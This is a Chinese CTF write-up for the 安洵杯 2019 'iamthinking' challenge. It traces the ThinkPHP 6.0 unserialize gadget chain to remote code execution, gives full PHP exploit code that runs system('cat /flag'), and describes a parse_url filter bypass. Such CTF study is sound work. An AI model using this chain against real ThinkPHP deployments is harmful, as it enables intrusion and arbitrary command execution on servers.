[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子
2022/1/27 23:05:15
本文主要是介绍[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
www.zip下载源码
index控制器
<?php namespace app\controller; use app\BaseController; class Index extends BaseController { public function index() { echo "<img src='../test.jpg'"."/>"; $paylaod = @$_GET['payload']; if(isset($paylaod)) { $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value) { if(preg_match("/^O/i",$value)) { die('STOP HACKING'); exit(); } } unserialize($paylaod); } } }
结合tp版本号6.0,利用tp反序列化漏洞,然后绕过parse_url即可
正好跟一下tp6.0的链子,直接把链条贴过来
save()
=> updateData()
=> checkAllowFields()
=>db() => __tostring()
=> toJson()
=> toArray()
=> getAttr()
=> getValue()
起点
vendor/topthink/think-orm/src/model.php中的Model类
令lazySave为true即可调用save方法
如果想要执行updateData则不能进入if分支,同时需要exists为true
这里isEmpty判断data是否为空,data不为空即可
让withEvent为false即可
此时进入updateData
这里第一个if分支不进入的方法和上面一样
第二个if分支要让data不为空,而在此之前data=$this->getChangedData()
这里return了1后data也满足不为空,令force为1且data非空即可返回1
下一步进入checkAllowFields函数
field和schema要为空才能执行db()
db()中判断table非空后,会进行table和suffix的字符串拼接操作,可以触发__toString
把table赋值为其他带有__toString方法的类即可
到此Model类中的构造已经完毕,而Model是一个abstract类,无法实例化,所以选用子类Pivot
在model/concern/conversion.php中的名为Conversion的trait中有__toString
跟进
再跟
默认情况会进入elif语句触发getAttr(),在名为Attribute的trait里面
看一下getData的作用
这里strict为true会直接返回name,然后getData返回$this->data[$name]
再跟进getValue()
这里$closure,$value,$this->data都是可控的,可以实现rce
$this->withAttr值为system,$this->data值为命令即可执行系统命令
exp(将将理解吧,面向对象的东西真是丰富多彩啊)
<?php namespace think{ abstract class Model{ use model\concern\Attribute; //因为要使用里面的属性 private $lazySave; private $exists; private $data=[]; private $withAttr = []; public function __construct($obj){ $this->lazySave = True; $this->withEvent = false; $this->exists = true; $this->table = $obj; $this->data = ['key'=>'cat /flag']; $this->visible = ["key"=>1]; $this->withAttr = ['key'=>'system']; } } } namespace think\model\concern{ trait Attribute { }
trait Conversion { }
} namespace think\model{ use think\Model; class Pivot extends Model { } $a = new Pivot(''); $b = new Pivot($a); echo urlencode(serialize($b)); }
然后生成的payload传入时url后面多加两个/来绕过parse_url即可
这篇关于[安洵杯 2019]iamthinking刷题笔记&&简单跟一下tp6链子的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-23Springboot应用的多环境打包入门
- 2024-11-23Springboot应用的生产发布入门教程
- 2024-11-23Python编程入门指南
- 2024-11-23Java创业入门:从零开始的编程之旅
- 2024-11-23Java创业入门:新手必读的Java编程与创业指南
- 2024-11-23Java对接阿里云智能语音服务入门详解
- 2024-11-23Java对接阿里云智能语音服务入门教程
- 2024-11-23JAVA对接阿里云智能语音服务入门教程
- 2024-11-23Java副业入门:初学者的简单教程
- 2024-11-23JAVA副业入门:初学者的实战指南